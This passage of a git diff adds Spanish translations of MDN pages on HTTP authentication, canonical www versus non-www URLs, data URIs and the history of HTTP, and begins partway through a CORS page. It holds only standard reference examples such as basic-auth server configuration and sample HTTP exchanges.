Access-Control-Request-Headers: <field-name>[, <field-name>]*
+
+ +

Ejemplos de esta utilización pueden ser encontrados arriba.

+ +

Especificaciones

+ + + + + + + + + + + + + + + + + + + +
EspecificaciónEstadoComentario
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}Nueva definición; tiene como objetivo suplantar la especificación CORS.
{{SpecName('CORS')}}{{Spec2('CORS')}}Definición inicial.
+ +

Compatibilidad con Exploradores

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
CaracterísticaChromeFirefox (Gecko)Internet ExplorerOperaSafari
Soporte Básico43.58 (a través de XDomainRequest)
+ 10		124
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
CaracterísticaAndroidChrome para AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Soporte Básico2.1yesyes{{ CompatUnknown() }}123.2
+
+ +

Nota

+ +

Internet Explorer 8 y 9 exponen CORS a través del objeto XDomainRequest, pero tienen una implementación completa en IE 10. Mientras que Firefox 3.5 introduce el soporte para XMLHttpRequests y Web Fonts para sitios cruzados, algunas solicitudes fueron limitadas hasta versiones posteriores. Especificamente, Firefox 7 introduce la habilidad para solicitudes HTTP de sitios cruzados para Texturas WebGL, y Firefox 9 añade soporte para imágenes dibujadas en patrones utilizando drawImage.

+ +

Vea también

+ + + +

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git a/files/es/web/http/authentication/index.html b/files/es/web/http/authentication/index.html new file mode 100644 index 0000000000..df54bfa2c4 --- /dev/null +++ b/files/es/web/http/authentication/index.html @@ -0,0 +1,119 @@ +--- +title: Autenticación HTTP +slug: Web/HTTP/Authentication +tags: + - Acceso de control + - Autenticación + - Guía + - HTTP + - HTTP Basic +translation_of: Web/HTTP/Authentication +--- +

{{HTTPSidebar}}

+ +

HTTP nos brinda un marco general para el control de acceso y de autenticación. El esquema de autenticación HTTP más común es la autenticación "Basic". Esta página presenta el framework general de autenticación HTTP y muestra cómo restringir el acceso a tu servidor con la autenticación HTTP Basic.

+ +

El marco general de autenticación HTTP

+ +

{{RFC("7235")}} define el marco de autenticación HTTP que puede ser usado por un servidor para revisar la solicitud de un cliente y por un cliente para proveer información de autenticación. El flujo de la revisión y la respuesta funciona de la siguiente manera: El servidor responde al cliente con un estado de respuesta {{HTTPStatus("401")}} (Unauthorized) y devuelve al cliente información sobre cómo autorizarse con un encabezado de respuesta {{HTTPHeader("WWW-Authenticate")}} que contiene al menos una revisión. Un cliente que quiera autenticarse con un servidor puede hacerlo incluyendo un encabezado de solicitud {{HTTPHeader("Authorization")}}  con sus credenciales. Normalmente un cliente hará una solicitud de contraseña al usuario y luego enviará la solicitud incluyendo el encabezado Authorization correcto al servidor.

+ +

+ +

En el caso de una autenticación "Basic" como la mostrada en la figura, el intercambio se debe realizar sobre una conexión HTTPS (TLS) para que sea seguro.

+ +

Autenticación Proxy (Proxy Authentication)

+ +

El mismo mecanismo de desafío y respuesta puede ser usada para autenticación por proxy. En este caso, es el proxy el que hace de intermediario y requiere la autenticación. Ambas autenticaciones (autenticación del recurso y autenticación en el proxy) pueden coexistir juntas, pero entonces es necesario un conjunto de cabeceras y códigos de estado diferentes. En el caso de los proxys, el código de estado para requerir autenticación es {{HTTPStatus("407")}}  (Proxy Authentication Required), la cabecera de respuesta {{HTTPHeader("Proxy-Authenticate")}} contiene al menos un requerimiento aplicable en el proxy, y la cabecera de petición {{HTTPHeader("Proxy-Authorization")}} es usada para proveer la credencial en el servidor proxy.

+ +

Prohibición de Acceso (Access Forbbiden)

+ +

Si el servidor proxy recibe unas credenciales válidas que no son adecuadas para acceder a un determinado recurso, el servidor respondera con el código de estado {{HTTPStatus("403")}} Forbidden.Diferente al código de estado {{HTTPStatus("401")}} Unauthorized o {{HTTPStatus("407")}} Proxy Authentication Required, donde la autenticación es imposible para ese usuario.

+ +

Cabeceras WWW-Authenticate y Proxy-Authenticate 

+ +

Las cabeceras de respuesta {{HTTPHeader("WWW-Authenticate")}} y {{HTTPHeader("Proxy-Authenticate")}} definen el método de autenticación que debe ser usado para obtener acceso a un recurso. Ellas especifican que esquema de autenticación debe ser usado para que el cliente que quiera autenticarse sepa como hacerlo. La síntaxis para estas cabeceras es la siguiente:

+ +
WWW-Authenticate: <type> realm=<realm>
+Proxy-Authenticate: <type> realm=<realm>
+
+ +

En el ejemplo, <type> es el esquema de autenticación ("Basic" es el esquema de autenticación mas usado e introducido en esta página mas abajo). La palabra realm es usada para describir el área que protegida o para indicar el alance de la protección. Puede ser un mensaje como "Access to the staging site" o algo similar, pero que sea explicativo para que el usuario sepa que espacio intenta acceder.

+ + + +

Cabeceras Authorization y Proxy-Authorization

+ +

La cabecera de consulta {{HTTPHeader("Authorization")}} y {{HTTPHeader("Proxy-Authorization")}} contiene las credenciales para autenticar a un user agent con un servidor (proxy). Aquí, el tipo es necesario necesario siguiendo las credenciales que pueden estar codificadas o encriptadas dependiendo de que tipo de esquema de autenticación se esté usando:

+ +
Authorization: <type> <credentials>
+Proxy-Authorization: <type> <credentials>
+
+ +

Esquemas de autenticación

+ +

El marco general de autenticación HTTP es usado por varios esquemas de autenticación. Los esquemas pueden diferenciarse por la dureza en la seguridad y en su disponibilidad en software de clientes o servidores.

+ +

El esquema de autenticaón mas común es "Basic", que es introducido con mas detalle abajo. IANA mantiene una lista de esquemas de autenticación, pero existen otros esquemas ofrecidos por proveedores de servicios, como Amazon AWS. Los esquemas de autenticación incluídas:

+ + + +

Esquema de autenticación Basic

+ +

El esquema de autenticación HTTP "Basic" está definido en {{rfc(7617)}}, que transmite las credenciales como un par usuario/contraseña codificado usando base64.

+ +

Seguridad de la autenticación básica

+ +

Como el usuario y la contraseña son pasados a través de la red como texto plano (éste es codificado en base64, pero base64 puede ser decodificado), el esquema de autenticación básico no es seguro. HTTPS / TLS debe ser usado junto a la autenticación básica. Sin éstas mejoras de seguridad, la autenticación básica no debe ser usada para proteger información sensible o valiosa.

+ +

Restringiendo acceso con Apache y autenticación básica

+ +

Para proteger por contraseña un directorio en un servidor Apache, necesitas usar los ficheros .htaccess y .htpasswd.

+ +

El fichero .htaccess normalmente tiene esta forma:

+ +
AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user
+ +

El fichero .htaccess hace una referencia al fichero .htpasswd, que contiene en cada línea un nombre de usuario y su respectiva contraseña separadas por dos puntos (":"). En este ejemplo no puedes ver la contraseña porque está encriptada (utilizando md5 en este caso). Además, puedes nombrar el fichero .htpasswd de forma diferente si tu quieres, pero teniendo en cuenta que no debería ser accesible por nadie. (Apache está configurado normalmente para prevenir el acceso a ficheros .ht*).

+ +
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+
+ +

Restringiendo acceso con nginx y autenticación básica

+ +

En el caso de nginx necesitarás especificar la localización a proteger y usar la directiva auth_basic, que provee el nombre del área protegida. La directiva auth_basic_user_file apunta al fichero .htpasswd que contiene las credenciales de usuario encriptadas, como en el ejemplo de Apache de mas arriba.

+ +
location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}
+ +

Acceso usando credenciales en la URL

+ +

Muchos clientes también le permiten evitar el mensaje de inicio de sesión enviando el usuario y la contraseña codificados por la URL.

+ +
https://username:password@www.example.com/
+ +

El uso de estas URLs está obsoleto. En Chrome, la cadena usuario:contraseña@ dentro de URLs incluso es cortada por razones de seguridad. En Firefox se comprueba si el sitio actualmente requiere una autenticación, y de no ser así, Firefox avisará al usuario con un mensaje "Está a punto de iniciar sesión en el sitiio "www.example.com" con el usuario "username", pero el sitiio web no requiere autenticación. Puede ser un intento de engañarlo.".

+ +

Ver también

+ + diff --git a/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html new file mode 100644 index 0000000000..53d2270e03 --- /dev/null +++ b/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html @@ -0,0 +1,71 @@ +--- +title: Elección entre www y no-www URLs +slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +tags: + - Guía + - HTTP + - URL + - WWW + - no www +translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +--- +
{{HTTPSidebar}}
+ +

Una cuestión recurrente entre los dueños de sitios web consiste en elegir entre un no-www y www URLs. Esta página contiene algunos consejos sobre qué es mejor.

+ +

¿Qué son los nombres de dominio?

+ +

En una URL HTTP, la primera subcadena que sigue a la inicial http:// o https:// se llama nombre de dominio. El nombre de dominio está alojado en un servidor donde residen los documentos.

+ +

Un servidor no es necesariamente una máquina física: varios servidores pueden residir en la misma máquina física. O bien, un servidor puede ser manejado por varias máquinas, cooperando para producir la respuesta o equilibrando la carga de las solicitudes entre ellas. El punto clave es que semanticamente un nombre de dominio representa un solo servidor.

+ +

¿Entonces, ¿tengo que elegir uno u otro para mi sitio web?

+ + + +

Por lo tanto, ¡elija uno de sus dominios como su canónico! Hay dos técnicas a continuación para permitir que el dominio no canónico funcione aún.

+ +

Técnicas para las URL canónicas.

+ +

Hay diferentes maneras de elegir qué sitio web es canónico.

+ +

Usando redirecciones HTTP 301 

+ +

En este caso, necesitas configurar el servidor que recibe las peticiones HTTP  (que probablemente sea el mismo para las URL www y no www) para responder con una respuesta HTTP adecuada {{HTTPStatus (301)}} a cualquier solicitud al dominio no-canónico. Esto redirigirá el navegador que intenta acceder a las URL no canónicas a su equivalente canónico. Por ejemplo, si ha elegido usar URL que no sean de www como tipo canónico, debe redirigir todas las URL de www a su URL equivalente sin el www.

+ +

Ejemplo:

+ +
    +
  1. Un servidor recibe una petición para http://www.example.org/whaddup (cuando el dominio canónico es example.org)
    2. +
  2. El servidor responde con un código {{HTTPStatus(301)}} con la cabecera {{HTTPHeader("Location")}}: http://example.org/whaddup.
    3. +
  3. El cliente emite una solicitud al dominio canónico.: http://example.org/whatddup
    4. +
+ +

El HTML5 boilerplate project tiene un ejemplo sobre cómo configurar un servidor Apache para redirigir un dominio a otro.

+ + + +

Es posible añadir un elemento especial HTML {{HTMLElement("link")}} a una página para indicar cual es la dirección canónica de la página. Esto no tendrá ningún impacto en la lectura humana, pero le dirá a rastreadores de los motores de búsqueda donde vive actualmente la página. De esta manera, los motores de búsqueda no indexan la misma página varias veces, lo que podría hacer que se considere contenido duplicado o correo no deseado, e incluso eliminar o bajar su página de las páginas de resultados del motor de búsqueda.

+ +

Al agregar una etiqueta de este tipo, sirve el mismo contenido para ambos dominios, indicando a los motores de búsqueda qué URL es canónica. En el ejemplo anterior, http://www.example.org/whaddup serviría el mismo contenido que  http://example.org/whaddup, pero con un elemento {{htmlelement("link")}} adicional en la cabecera:

+ +

<link href="http://example.org/whaddup" rel="canonical">

+ +

A diferencia del caso anterior, el historial del navegador considerará las direcciones URL no www y www como entradas independientes.

+ +

Hacer que tu página funcione para ambas

+ +

Con estas técnicas, puedes configurar tu servidor para responder correctamente a ambos dominios, www y no www. Es un buen consejo hacer esto, ya que no puede predecir qué URL escribirán los usuarios en la barra de URL de su navegador. Es una cuestión de elegir qué tipo desea usar como su ubicación canónica, y luego redirigir el otro tipo a él.

+ +

Decidir el caso

+ +

Este es un tema muy subjetivo que podría considerarse un problema de bikeshedding. Si desea leer más a fondo, lea algunos de los  muchos artículos de este tema.

+ +

Ver también

+ + diff --git a/files/es/web/http/basics_of_http/datos_uris/index.html b/files/es/web/http/basics_of_http/datos_uris/index.html new file mode 100644 index 0000000000..6fa23a5ba3 --- /dev/null +++ b/files/es/web/http/basics_of_http/datos_uris/index.html @@ -0,0 +1,168 @@ +--- +title: Datos URIs +slug: Web/HTTP/Basics_of_HTTP/Datos_URIs +tags: + - Base 64 + - Guia(2) + - Intermedio + - URI + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +
{{HTTPSidebar}}
+ +

Datos URIs, URLs prefijados con los datos: esquema, permiten a los creadores de contenido incorporar pequeños archivos en linea en los documentos.

+ +

Sintaxis

+ +

Los datos URIs se componen de cuatro partes a: un prefijo (data:), un tipo MIME que indica el tipo de datos, un token base64 opcional no textual, y los datos en si:

+ +
data:[<mediatype>][;base64],<data>
+
+ +

El mediatype es una cadena de tipo MIME, por ejemplo 'image/jpeg' para un archivo de imagen JPEG. si se omite, será por defecto text/plain;charset=US-ASCII

+ +

Si el dato es textual, solo tiene que insertar el texto (utilizando las entidades o escapes adecuados en función del tipo de documento). Por otra parte, puedes especificar base-64 para insertar datos binarios codificados en base-64.

+ +

Algunos ejemplos:

+ +
+
data:,Hello%2C%20World!
+
Datos simples text/plain
+
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
+
versión codificada en base64-encoded de las anteriores
+
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
+
Un documento HTML con <h1>Hello, World!</h1>
+
data:text/html,<script>alert('hi');</script>
+
Un documento HTML que ejecuta una alerta Javascript. Tenga en cuenta que se requiere la etiqueta script de cierre.
+
+ +

Codificación de datos en formato base64

+ +

Esto se puede hacer fácilmente desde la línea de comandos usando uuencode, una utilidad disponible en sistemas Linux y Mac OS X:

+ +
uuencode -m infile remotename
+
+ +

El parámetro infile es el nombre para el archivo que desees decodificar en formato base64, y remotename es el nombre remoto para el archivo, que no se utilizará realmente en los datos de las URLs.

+ +

La salida será similar a esto:

+ +
xbegin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+
+ +

El URI de datos utilizará los datos codificados después de la cabezera inicial.

+ +

En la pagina Web, usando JavaScript

+ +

Las Web tiene APIs primitivas para codificar o decodificar en base64: codificación y decodificación Base64.

+ +

Problemas comunes

+ +

Esta sección describe los problemas que comunmente ocurren cuando se crean o se usan los datos URIs.

+ +
+
Sintaxis
+
El formato de los datos URIs es muy simple, pero es facil olvidarse de poner una coma antes del segmento de la "data", o para codificar incorrectamente los datos en formato base64.
+
Formateando en HTML
+
Un dato URI provee un archivo dentro de un archivo, que potenciamente puede ser muy amplia con relación con el ancho del documento de cierre. Como una URL, los datos se les puede dar formato con espacios en blanco (avance de línea, pestaña, o espacios), pero hay cuestiones prácticas que se plantean cuando se usa codificación base64.
+
Limitaciones de longitud
+
Aunque Firefox soporta con URIs de datos de longitud esencialmente ilimitada, los navegadores no estan obligados a apoyar cualquier longitud máxima de datos en particular. Por ejemplo, el navegador Opera 11 limita las URIs de datos cerca de los 65000 caracteres.
+
Falta de control de errores
+
Los parametros no válidos en los medios de comunicación, o errores ortográficos cuando se especifiquen 'base64', se ignoran, pero no se proporciona ningún error.
+
No hay soporte para consulta de cadenas, etc.
+
+

Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar una cadena de consulta (parametros específicos de página, con la sintaxis <url>?parameter-data) con un URIs de datos que se acaba de incluir la cadena de consulta en los datos de la URI que representa. Por ejemplo:

+ + 
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
+
+ +

Esto representa un recurso HTML cuyo contenido es:

+ + 
lots of text...<p><a name="bottom">bottom</a>?arg=val
+
+
+
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("2397")}}The "data" URL scheme"
+ +

Compatibilidad del navegador

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
CaracterísticaChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Soporte Básico{{CompatVersionUnknown}}{{CompatVersionUnknown}}12[2]{{CompatIE(8)}}[1][2]7.20{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
CaracterísticaAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Soporte Básico{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] IE8 solo soporta datos URIs en archivos CSS, con un tamaño máximo de 32kB.

+ +

[2]IE9 y posteriores, así como Edge, soportan datos URIs en archivos CSS y JS, pero no en archivos HTML, con un tamaño máximo de 4GB.

+ +

Ver también

+ + diff --git a/files/es/web/http/basics_of_http/evolution_of_http/index.html b/files/es/web/http/basics_of_http/evolution_of_http/index.html new file mode 100644 index 0000000000..8d4373a512 --- /dev/null +++ b/files/es/web/http/basics_of_http/evolution_of_http/index.html @@ -0,0 +1,197 @@ +--- +title: Evolución del protocolo HTTP +slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +--- +

{{HTTPSidebar}}

+ +

HTTP es el protocolo en el que se basa la Web. Fue inventado por Tim Berners-Lee entre los años 1989-1991, HTTP ha visto muchos cambios, manteniendo la mayor parte de su simplicidad y desarrollando su flexibilidad. HTTP ha evolucionado, desde un protocolo destinado al intercambio de archivos en un entorno de un laboratorio semi-seguro, al actual laberinto de Internet, sirviendo ahora para el intercambio de imágenes, vídeos en alta resolución y en 3D.

+ +

Invención de la World Wide Web

+ +

En 1989, mientras trabajaba en el CERN, Tim Berners-Lee escribió una propuesta para desarrollar un sistema de hipertexto sobre Internet. Inicialmente lo llamó: 'Mesh' (malla, en inglés), y posteriormente se renombró como World Wide Web (red mundial), durante su implementación en 1990. Desarrollado sobre los protocolos existentes TCP e IP, está basado en cuatro bloques:

+ + + +

Estos cuatro bloques fundamentales se finalizaron para finales de 1990, y los primeros servidores estaban ya funcionando fuera del CERN a principios del 1991. El 6 de Agosto de 1991, el post de Tim Berners-Lee, se considera actualmente como el inicio oficial de la Web como proyecto público. 

+ +

La versión del protocolo HTTP usada en aquel momento, era realmente muy sencilla, posteriormente pasó a HTTP/0.9, referido algunas veces, como el protocolo de una sola línea.

+ +

HTTP/0.9 – El protocolo de una sola línea

+ +

La versión inicial de HTTP, no tenía número de versión; aunque posteriormente se la denominó como 0.9 para distinguirla de las versiones siguientes. HTTP/0.9 es un protocolo extremadamente sencillo: una petición consiste simplemente en una única linea, que comienza por el único método posible {{HTTPMethod("GET")}}, seguido por la dirección del recurso a pedir (no la URL, ya que tanto el protocolo, el servidor y el puerto, no son necesarios una vez ya se ha conectado al servidor).

+ +
GET /miPaginaWeb.html
+ +

La respuesta también es muy sencilla: solamente consiste el archivo pedido.

+ +
<HTML>
+Una pagina web muy sencilla
+</HTML>
+ +

Al contrario que sus posteriores evoluciones, el protocolo HTTP/0.9 no usa cabeceras HTTP, con lo cual únicamente es posible transmitir archivos HTML, y ningún otro tipo de archivos. Tampoco había información del estado ni códigos de error: en el caso un problema, el archivo HTML pedido, era devuelto con una descripción del problema dentro de él, para que una persona pudiera analizarlo.

+ +

HTTP/1.0 – Desarrollando expansibilidad

+ +

La versión HTTP/0.9 era ciertamente limitada y tanto los navegadores como los servidores, pronto ampliaron el protocolo para que fuera más flexible.

+ + + +

Una petición normal, sigue la estructura: 

+ +
GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+<HTML>
+Una pagina web con una imagen
+  <IMG SRC="/miImagen.gif">
+</HTML>
+ +

Continua con una segunda conexión y la petición de una imagen:

+ +
GET /myImagen.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+(image content)
+ +

Estas innovaciones, no se desarrollaron de forma planeada, sino más bien con una aproximación de prueba y error, entre los años 1991 y 1995: un servidor y un navegador, añadían una nueva funcionalidad y se evaluaba su aceptación. Debido a esto, en ese periodo eran muy comunes los problemas de interoperatividad.  En Noviembre de 1996, para poner fin a estos problemas se publicó un documento informativo que describía las prácticas adecuadas, {{RFC(1945)}}. Esté documento es la definición del protocolo HTTP/1.0. Resulta curioso, que realmente no es un estándar oficial. 

+ +

HTTP/1.1 – El protocolo estándar.

+ +

En paralelo al uso, un poco desordenado, y las diversas implementaciones de HTTP/1.0, y desde el año 1995,  un año antes de la publicación del documento del HTTP/1.0, un proceso de estandarización formal ya estaba en curso. La primera versión estandarizada de HTTP: el protocolo HTTP/1.1, se publicó en 1997, tan solo unos meses después del HTTP/1.0 

+ +

HTTP/1.1 aclaró ambigüedades y añadió numerosas mejoras: 

+ + + +

El flujo normal de una serie de peticiones y respuestas, bajo una única conexión, se expone a continuación:

+ +
GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+(...contenido...)
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+(image content of 3077 bytes)
+ +

HTTP/1.1 fue publicado inicialmente como {{rfc(2068)}} en Enero de 1997.

+ +

Más de 15 años de expansiones

+ +

Gracias a su expansibilidad - ya que la creación de nuevas cabeceras o métodos es sencilla - e incluso teniendo en cuenta que el protocolo HTTP/1.1 fue mejorado en dos revisiones: la primera, el documento {{RFC("2616")}}, publicado en Junio de 1999 y posteriormente en los documentos {{RFC("7230")}}-{{RFC("7235")}} publicados en Junio del 2014, en previsión de la publicación de HTTP/2. Así pues, el protocolo HTTP/1.1 ha sido increíblemente estable durante más de 15 años.

+ +

El uso de HTTP para transmisiones seguras

+ +

El mayor cambio en el desarrollo de HTTP, fue a finales de 1994. En vez de trasmitir HTTP sobre la capa de TCP/IP, se creo una capa adicional sobre esta: SSL. La versión SSL 1.0 nunca fue publicada fuera de las compañías desarrolladoras, pero el SSL 2.0 y sus sucesoras SSL 3.0 y SSL 3.1 permitieron la creación del comercio electrónico en la Web (e-commerce), encriptando y garantizando la autenticidad de los mensajes intercambiados entre servidor y cliente. SSL se añadió a la lista de estándares y posteriormente evolucionó hasta ser el protocolo TLS, con versiones 1.0, 1.1 y 1.2, que fueron apareciendo para resolver vulnerabilidades. Actualmente se está desarrollando el protocolo TLS 1.3.

+ +

Durante el mismo periodo, la necesidad por una capa de trasporte encriptada aumentó; la Web, que permitía una relativa confianza de lo que era una mayoría de trabajo académico, pasó a ser una jungla donde anuncios, individuos aleatorios o criminales competían para obtener tanta información privada sobre la gente como pudieran, o trataban de suplantarlos o incluso sustituir los datos trasmitidos por otros alterados. A medida que hubo aplicaciones que se desarrollaban y funcionaban sobre HTTP, fueron más y más funcionales, tener acceso a más y mayor información personal como contactos, e-mails, o posición geográfica del usuario, la necesidad de tener el protocolo TLS, fue fundamental incluso fuera del ámbito del comercio electrónico.

+ +

Uso de HTTP para aplicaciones complejas

+ +

La visión original de Tim Berners-Lee para la Web no era solo un medio de 'solo' lectura. Él había visionado una Web donde la gente pudiese añadir y mover documentos de forma remota, un estilo de sistema de archivos distribuido. Sobre el año 1996, HTTP se había desarrollado para  permitir la autoría, y fue creado un estándar denominado WebDAB. Este fue más tarde ampliado por aplicaciones especificas como CardDAV, para permitir libros de direcciones, y CalDAV para trabajar con calendarios. Pero todos estas extensiones  '*DAV', tenían una debilidad, y es que debian ser implementadas por los servidores, para poder ser usadas, lo cual era bastante complejo. Así pues su uso en la Web fue bastante acotado. 

+ +

En el año 2000, un nuevo formato para usar HTTP fue diseñado: REST (del inglés:  '{{glossary("REST", "Representational State Transfer")}}'). Las acciones de la nueva API, no estaban supeditadas a nuevos métodos HTTP, unicamente al acceso a URIs especificas con métodos HTTP/1.1). Esto permitió que cualquier aplicación Web dispusiera de una API, para permitir la recuperación y modificación de datos, sin tener que actualizar servidores o navegadores; todo lo que se necesitaba era incluido en los archivos servidos por los sitios Web. La contrapartida del modelo REST está en que cada sitio Web define su propia versión no estándar de API RESTful y tiene un control total sobre ella; al contrario del formato *DAV donde clientes y servidores eran interoperables. La arquitectura REST empezó a ser muy común a partir del año 2010.

+ +

Desde el año 2005, las APIs disponibles para páginas Web a aumentado considerablemente, y muchas de estas nuevas APIs dependen de cabeceras HTTP específicas para funciones concretas: 

+ + + +

Relajación del modelo de seguridad de la Web

+ +

El protocolo HTTP es independiente del modelo de seguridad de la Web: la política del mismo origen. De hecho, el actual modelo de seguridad de la Web, ha sido desarrollado con posterioridad  a la creación del protocolo HTTP. A lo largo de los años, se ha probado útil, poder ser más permisivo con ella, permitiendo que bajo ciertos requerimientos se puedan levantar algunas de las restricciones de esta política. Cuanto y cuantas de estas restricciones se pueden saltar es comunicado desde el servidor al cliente, mediante una serie de nuevas cabeceras HTTP. Estas están especificadas en los documentos como CORS ( del inglés Cross-Origin Resource Sharing, que viene a significar: recursos compartidos de orígenes cruzados) y el CSP (del inglés: Content Security Policy , que traducido es: política de seguridad de contenidos).

+ +

Además de estas ampliaciones, muchas otras cabeceras han sido añadidas, algunas unicamente experimentales. Algunas de ellas notables son: Do Not Track ({{HTTPHeader("DNT")}}); cabecera de control de privacidad:  {{HTTPHeader("X-Frame-Options")}}, y  {{HTTPHeader('Upgrade-Insecure-Requests')}}.

+ +

HTTP/2 – Un protocolo para un mayor rendimiento

+ +

A lo largo de los años, las páginas Web han llegado a ser mucho más complejas, incluso llegando a poder considerarse como aplicaciones por derecho propio. La cantidad de contedio visual, el tamaño de los scripts, y los scripts que añaden interactividad ha aumentado mucho también. Muchismos más datos son transmitidos bajo muchas mas peticiónes HTTP. Las conexiones HTTP/1.1 han de enviar las peticiones HTTP en el orden correcto. Teóricamente, seria posible usar varias conexiones en paralelo (normalmente entre 5 y 8), aumentando consecuentemente la complejidad del proceso. Por ejemplo, el HTTP 'pipelining' ha demostrado ser un lastre para el desarrollo Web. 

+ +

En la primera mitad de la década de 2010, Google demostró un proceso alternativo para el intercambio de data entre clientes y servidores, implementando el protocolo experimental SPDY (pronunciado como en inglés 'speedy'). Este atrajo mucho interés por los desarrolladores de tanto los navegadores como los servidores. Definiendo una mejora en los tiempos de respuesta, y resolviendo el problema de datos duplicados transmitidos. SPDY sirvió como base para el desarrollo del protocolo HTTP/2. 

+ +

El protocolo HTTP/2, tiene notables diferencias fundamentales respecto a la versión anterior HTTP/1.1

+ + + +

Estandarizado de manera oficial en Mayo de 2015, HTTP/2 ha conseguido muchos éxitos. En Julio de 2016, un 8.7% de todos los sitios Web[1] estaban usandolo ya, representando más del 68% de todo su tráfico[2]. Los sitios Web con mucho tráfico, fueron aquellos que lo adoptaron más rápidamente, ahorrando considerablemente las sobrecargas en la transferencia de datos, ... y en sus presupuestos.

+ +

Esta rápida adopción era esperada, ya que el uso de HTTP/2, no requiere de una adaptación de los sitios Web y aplicaciones: el uso de HTTP/1.1 o HTTP/2 es transparente para ellos. El uso de un servidor actual, comunicandose con un navegador actualizado, es suficiente para permitir su uso: únicamente en casos partículares fue necesario impulsar su utilización; y según se actualizan servidores y navegadores antiguos, su utilización aumenta, sin que requiera un mayor esfuerzo de los desarrolladores Web.

+ +

Post-evolución del HTTP/2

+ +

Con la publicación de la versión del protocolo HTTP/2, esté no ha dejado de evoluciónar. Como con el HTTP/1.x, anteriormente, la extensibilidad del HTTP se sigue usando para añadir nuevas funcionalidades. Podemos enumerar algunas de estas nuevas características que se desarrollaron en el año 2016: 

+ + + +

Esta evolución del HTTP demuestra su capacidad de ampliación y simplicidad, permitiendo así de forma deliverada su uso para muchas aplicaciónes y favoreciendo el uso de este protocolo. El entorno en el que el HTTP se usa hoy en día, es muy distinto al que habia a principios de la década de 1990. El desarrollo original de HTTP, ha demostrado ser una obra maestra, permitiendo a la Web evolucionar a lo largo de un cuarto de siglo, sin la necesidad de un 'amotinamiento'. Corrigiendo errores, y manteniendo la flexibilidad y extensibilidad que han hecho al HTTP un éxito, la adopción del HTTP/2 tiene un brillante futuro.

diff --git "a/files/es/web/http/basics_of_http/identificaci\303\263n_recursos_en_la_web/index.html" "b/files/es/web/http/basics_of_http/identificaci\303\263n_recursos_en_la_web/index.html" new file mode 100644 index 0000000000..f666c9240f --- /dev/null +++ "b/files/es/web/http/basics_of_http/identificaci\303\263n_recursos_en_la_web/index.html" @@ -0,0 +1,169 @@ +--- +title: Identificación de recursos web +slug: Web/HTTP/Basics_of_HTTP/Identificación_recursos_en_la_Web +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +--- +
{{HTTPSidebar}}
+ +

